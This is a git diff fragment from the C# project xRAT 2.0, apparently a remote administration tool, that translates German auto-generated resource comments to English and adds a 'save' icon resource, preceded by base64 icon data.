af/KeWj/1oR0/+eVhv/woZL/86aZ//Kklv/snY3/6pyL/+6hkP/vpJT/7J+Q/+SWhv+abWTxinp3Gf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BcFxVo6he + Rv/GemP/1Ylz/9CBbv/Me2r/0X9v/+GOf//wnpH/9qme//ato//1qJ7/7p+R/+qbjP/woJL/9Kug//Kx + pf/yrZ//7qWW/4p3c6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BemtnQZJVRP/EdV//1YZw/9WFcv/SgHD/1YFy/96Ke//vnI3/96uh//i0rf/4t7D/9q+o//Ki + lv/tmo7/8Z6S//Wqov/1taz/9biu//S3rP/LmZH/in17R////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BiHp3B4BcU9fHdGH/3It3/+CPfP/ciHj/3oh6/+ONgP/tmIn/96mf//m3 + sf/5vrr/+b+8//e2sf/0qKD/8p6T//Ogl//1qKL/97Ou//e6s//2vLX/9r61/56FgdmLgX8J////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AYRybnvEeWf/4It6/+qXhv/qlYX/5pCC/+qT + h//wmYz/9qOZ//m0rv/6wr//+sfD//nHw//4u7j/96ym//Wkm//1o53/96ik//myr//5ubX/+Lu4//i/ + uv/quLL/h3x6gf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZWEgSGteW315I99//Gb + i//zn4//85yO//KZjv/2npT/96Sa//muqP/6vLn/+8jF//vMyf/6yMX/+bu5//iuqv/2pqD/96ah//iq + p//5sK7/+be2//q7uv/5vbv/+cG//7mZl/eMgYEl////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGcgHq15pB+//Sgkf/2ppv/+Kif//imnv/4pZ3/+Kih//quqv/6t7T/+8LA//vLyv/7zsz/+8jG//q5 + uP/5r6z/96ik//ippv/5sK//+rGx//q2t//6urr/+728//u/v//6xMP/kYGBu////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wGbi4hT1o5+//WhkP/4qp//+a+o//qzrv/6vbj/+ayl//qyrf/6t7T/+8C9//zJ + yP/8z87//M/O//zHxv/7urn/+a+t//iqp//5rKr/+rCw//u1tP/7ubj//Ly8//y8vP/8vr3//MPC/9uv + rv+JgH9Z////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wGdlZMNspiS4/arnP/4q6D/+rGq//u1sP/6sqz/+rGq//m0 + r//7ubX/+8C///zHxf/8zs3//NPR//3Pzv/9xcT//Ly6//qzsP/5sK3/+bGu//qzsf/7ubj//Ly6//y+ + vf/8v73//MHA//3Ew//9yMb/po6N5ZCHhg////8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BkYWDjfPMw//708z/+762//q1 + r//6trH/+rWv//u2sP/6uLT/+7+8//3Hxf/8ysj//NTS//3U0v/+z87//cXD//y9u//6trP/+rOw//q2 + s//7ubX/+7y4//2/vf/9wsH//cPC//3Fw//8yMb//crI//TFw/+IfXyT////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bi4KALcis + pfv81tD//NjT//zZ1f/7yMT/+riy//u7tv/7urb/+767//zGw//9ysj//MvI//3Rz//91dP//dLQ//7J + x//8wb7/+7m2//u2s//8urb//L25//zAvf/9xMH//cfE//3Jxv/9ysj//cvJ//3Myv/9zcv/xaSj/Y2E + gzP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AZ2MicX81tD//NfS//zZ1P/92tf//NrW//zPyv/7v7v//L+8//zEwf/9y8j//MnG//zL + yf/90tD//tbU//7Sz//5yMb//cTA//u7t//7ubX/+7u3//zBvf/9x8P//crH//3Lyf/9zcv//c7M//7N + y//+zsv//tDO//3Rz/+XiIfLkYqKA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AZaOjGPnxb7/+9bP//zY0//929b//drW//za1v/82dX//dfU//3I + xP/8yMP//crH//zIw//8zMn//dXS//7X1f/qysj/rpqZ8/3Iw//8wLz/+724//y+uf/8xsH//MvI//3P + zP/9z8z//NHO//3Szv/908///dLP//3T0P/909D/5cG+/4uEg2v///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AaKamBW+pqHr+9TL//vX0P/82dT//dnU//zZ + 1f/82db//NnV//3c2f/93dn//dPQ//zLxv/8ycT//M/M//3V0f/81dL/1czLtbWurV3furf//MfC//vD + vv/7w73//MrG//3QzP/909D//tPQ//3U0P/91dH//dTR//3U0f/91tL//tbS//3V0v+ynJrvl4+OGf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGpm5ef983B//rU + yv/82NL//NnT//zZ1P/82dX//NnV//3Z1f/93Nj//d/c//3h3v/91c///MrD//3Oyf/91ND/59DO99vU + 0yX///8Bw7e2w/rKxP/8ycL/+8fA//vMxv/80s7//NfU//3Z1f/92dX//drW//3Z1f/92NT//dnV//3Z + 1f/92NT/+NDN/5aMi6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGyp6Q93Lis/frPwv/71cz//NbQ//zX0P/82dT//NjS//zY0//82dT//NvW//ze2v/94d3//d/b//zY + 0//8zsj/9s/K/9jR0If///8B////AcvCwS/dwb37+8rC//vIwP/81tD//NfT//3X0//93Nf//d3Z//3d + 2P/93Nj//NzX//3c1//92tb//dnV//3X0//UtbH/nZWURf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wG8s68FxK2m0/jJuf/70MX/+9PL//vUy//819H//NfR//zX0f/819H/+9fR//za + 1f/83tr//d/b//zc1//829f//d7a/9/PzeHY0M8L////Af///wH///8B08nHj/XJwv/7ysL/+8zF//zQ + yv/81tL//NvW//3d2P/83dj//d3Y//zd2P/93dj//d3Y//3b1//92dT//NTQ/62cmdmjm5oH////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bu62ndfC/rv/6zL3/+9HF//rRxv/81c3//NXO//zW + 0P/71c//+9TN//vUzv/82dP//NvX//3c1//82tT//NnT//HX0//a1NRV////Af///wH///8B////AdnP + zg/fy8jn+svC//rLw//7z8j//NXP//zZ1P/829b//N3Y//zc1//83Nf//NzX//zb1v/93Nf//dvW//3X + 0f/uyML/opqYf////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BwbOuH9q1p/P4xbT/+sy+//rN + v//70cf/+9PK//zVzf/81Mz/+9LL//rQyP/70sv//NfQ//za1P/82dP//NfQ//vWz//d09K9////Af// + /wH///8B////Af///wH///8B2dDOX+7Iwf/7y8H/+87G//vTzP/819H//NnT//za1f/829b//NrV//3a + 1f/82dP//NnT//zZ0//81s///NLL/8iuqfeso6El////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acm0 + rLH3vqn/+ca2//rJuf/7zsD/+8/D//vSyP/70sj/+9HG//rOwv/6zcH/+tHG//vVzf/82NH/+9bP//vU + zP/m0Mv729TSK////wH///8B////Af///wH///8B////Af///wHYysfD+Mi9//rMwf/70Mf/+9LK//zV + zv/818///NjR//zY0P/82ND//NfP//vWz//71s7/+9TM//vRyv/5zcT/rqGeuf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AcS3sk3qtaH/+L+r//nDsf/6yrr/+sy9//rOwP/7z8L/+87C//rNwP/6y7z/+su8//rN + wf/60sr/+9XM//vUy//0z8f/1s/Oj////wH///8B////Af///wH///8B////Af///wH///8B1szKL+TH + wPv6yr//+8/G//vQx//70cj//NPL//vVzf/81Mz//NTM//zUzP/80sr/+9PK//vRyf/70cj/+83C/9+4 + rv+upqNX////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Ab+yrAvRr6Hf97ih//i8p//5xLL/+se1//rJuf/6y73/+sq7//rK + vP/5yLj/+ca2//nHt//5zL7/+tDE//rSyf/60cf/28rF59XOzA////8B////Af///wH///8B////Af// + /wH///8B////Af///wHTyceR9sq///vNwf/7zsP/+8/F//vRyP/70sn//NLK//vRyf/80cj/+9HH//vQ + xf/7z8T/+8/E//rOwv/5yr3/vqag5bKppg////8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wG8qaCH8rCU//e2nP/5vqn/+cGu//nF + sv/6ybj/+ca1//nFtf/5w7H/+cKy//nCsP/4xLP/+Mm5//nNv//50MP/68m//9PNy1////8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B08nHD9zIw+n6zL7/+s3A//vOwf/7z8X/+8/G//zR + xv/70cX/+9HE//vPxf/7zsH/+s3B//rNwP/6zcH/+cy///DBs/+top+R////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGunpcr16ON+few + kv/4uJ//+b6o//nBrP/6xrT/+cSx//nCr//4wKz/+L+s//jArP/4vqr/+MKv//jHtv/5y7z/+My+/9HF + wcX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHOxcNf7czD//rM + v//6zL7/+s7A//vOwf/70MP/+9DD//vPw//7zsH/+s2///nLvf/5y73/+cy+//nMvf/5ybr/0K6i+7Cn + pDP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Br5GDwfaqiP/3sZT/+Lme//i8o//5wq3/+sOu//nAq//4vqn/+Lyn//i9qP/3vaf/972n//jA + rP/4xbP/+cq5/97BuP3Px8Qx////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ac3BvsP50cX/+s7B//nMvv/6zsD/+tDC//rQwv/60MP/+s7A//nLvf/5yLn/+ce3//nI + uf/5ybr/+cm4//jHtP+yopzLsaqnA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BloR7X+Oce//2rIr/97KU//e2mf/4vaP/+sCq//nAqP/5vqf/+Luj//e6 + of/3u6P/97ui//a7ov/3vaX/+MOu//DCsv/Lw8CX////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHGvbov2sG5+/rRxP/60cT/+s/B//rPwf/6z8D/+s6///rO + v//5y7z/+ci3//jDsf/4w7H/+Ma0//nItf/5x7T/5Lin/7GopWn///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BkoF5E7OFbun3qIX/966N//ewkP/3tpn/+Lui//m9 + o//5vKT/+Lqg//i4nf/4uJ7/+Lmf//e4nv/3uJ7/97yi//jAqf/RurLrzsbDE////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbuxrpHzzL3/+tDA//rR + wf/60cH/+s+///nMvP/5y7r/+cq4//nHtP/4w67/+MCs//jCrf/4xLD/+MWx//fEr//JrqPvvLKvGf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AY93apn1spL/+LOT//et + iv/3sI//+Lea//m5nf/4up//+Lid//i2mf/4tZj/+Laa//i2mv/3tpr/9raZ//e5nv/jtKL/y8PAZ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wG6s7APxbu46frQv//5zr3/+dC///nRwf/5zr3/+cu4//nItP/4xbH/+MKs//i/qP/4vqf/+MGq//jC + rf/4w67/876p/7uvqqX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYl4 + bznMiWf99qR7//engP/3qoX/97GQ//i1lf/4t5j/+Lia//ezlP/3spP/97KU//ezlf/3tJb/97SV//az + lP/1tZn/xravy8rCvwP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AbKrqF/jvq//+cu3//nOvP/51MT/+M68//nNu//4ybT/+MOt//jB + qv/4vqb/97uh//e9o//4vqb/+MCp//nBqv/dtKP/wLi0Rf///wH///8B////Af///wH///8B////Af// + /wH///8B////AX52cgOZcl7P9Jts//Wecv/1onj/9qqE//ewjP/3sY//+LSU//ezkv/2sI3/9rCN//aw + jv/2sY//9rGQ//axj//2spL/0qqX/cvAuzf///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bt6ehw/fFr//5z7v/+cy3//nM + tv/5zLf/+dC9//jFr//4wKj/972k//e6n//3uJv/97qf//i9pP/4v6b/+L+m/8ayqeG4s7EP////Af// + /wH///8B////Af///wH///8B////Af///wGEgoAzkYV/w52NhMOlk4rDr5+Wy7Wmns+8rKPPva2lz7+w + qM/FtKvPx7Srz8Oxp9vItavbyret28u4rtvQvLHb0r6028e+uZP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Abiv + qy3Jv7rL0MW/z9LGwM/EuLLHu6+pw7irpcOzpZ7DtaWewcOvpr3CrKK9wKmfvcConb3HsKW3x7Gnt8my + p7e+raW3rq2sWf///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index cfda1634..ab719fa7 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -1,10 +1,10 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.34209 +// This code was generated by a tool. +// Runtime Version:4.0.30319.34209 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ @@ -13,12 +13,12 @@ namespace xServer.Properties { /// - /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. + /// A strongly-typed resource class, for looking up localized strings, etc. /// - // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert - // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert. - // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen - // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu. + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] @@ -33,7 +33,7 @@ namespace xServer.Properties { } /// - /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. + /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { @@ -47,8 +47,8 @@ namespace xServer.Properties { } /// - /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden. + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { @@ -61,7 +61,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap actions { get { @@ -71,7 +71,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap application_add { get { @@ -81,7 +81,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap application_delete { get { @@ -91,7 +91,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap bricks { get { @@ -101,7 +101,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap cancel { get { @@ -111,7 +111,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap computer { get { @@ -121,7 +121,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap copy { get { @@ -131,7 +131,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap delete { get { @@ -141,7 +141,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap download { get { @@ -151,7 +151,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap drive_go { get { @@ -161,7 +161,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap eye { get { @@ -171,7 +171,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap folder { get { @@ -181,7 +181,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap information { get { @@ -191,7 +191,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap key_go { get { @@ -201,7 +201,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap lightning { get { @@ -211,7 +211,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap logger { get { @@ -221,7 +221,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap monitor { get { @@ -231,7 +231,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap mouse_add { get { @@ -241,7 +241,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap mouse_delete { get { @@ -251,7 +251,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap refresh { get { @@ -261,7 +261,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap registry { get { @@ -271,7 +271,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap restart { get { @@ -281,7 +281,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap run { get { @@ -291,7 +291,17 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap save { + get { + object obj = ResourceManager.GetObject("save", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap server { get { @@ -301,7 +311,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap server_add { get { @@ -311,7 +321,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap server_disconnect { get { @@ -321,7 +331,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap server_link { get { @@ -331,7 +341,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap server_reconnect { get { @@ -341,7 +351,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap server_uninstall { get { @@ -351,7 +361,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap shutdown { get { @@ -361,7 +371,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap standby { get { @@ -371,7 +381,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap startup_programs { get { @@ -381,7 +391,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap task_manager { get { @@ -391,7 +401,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap terminal { get { @@ -401,7 +411,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Zeichenfolge, die xRAT 2.0 + /// Looks up a localized string similar to xRAT 2.0 /// Copyright (C) 2015 MaxX0r /// /// xRAT 2.0 is free software: you can redistribute it and/or modify @@ -412,7 +422,7 @@ namespace xServer.Properties { /// xRAT 2.0 is distributed in the hope that it will be useful, /// but WITHOUT ANY WARRANTY; without even the implied warranty of /// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - /// GNU [Rest der Zeichenfolge wurde abgeschnitten]"; ähnelt. + /// GNU [rest of string was truncated]";. /// internal static string TermsOfUse { get { @@ -421,7 +431,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap textfield_rename { get { @@ -431,7 +441,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap uac_shield { get { @@ -441,7 +451,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap upload { get { @@ -451,7 +461,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap world_go { get { @@ -461,7 +471,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap world_link { get { @@ -471,7 +481,7 @@ namespace xServer.Properties { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap xRAT_64x64 { get { diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index 4e0d8d25..4d41e052 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -148,6 +148,9 @@ ..\images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + 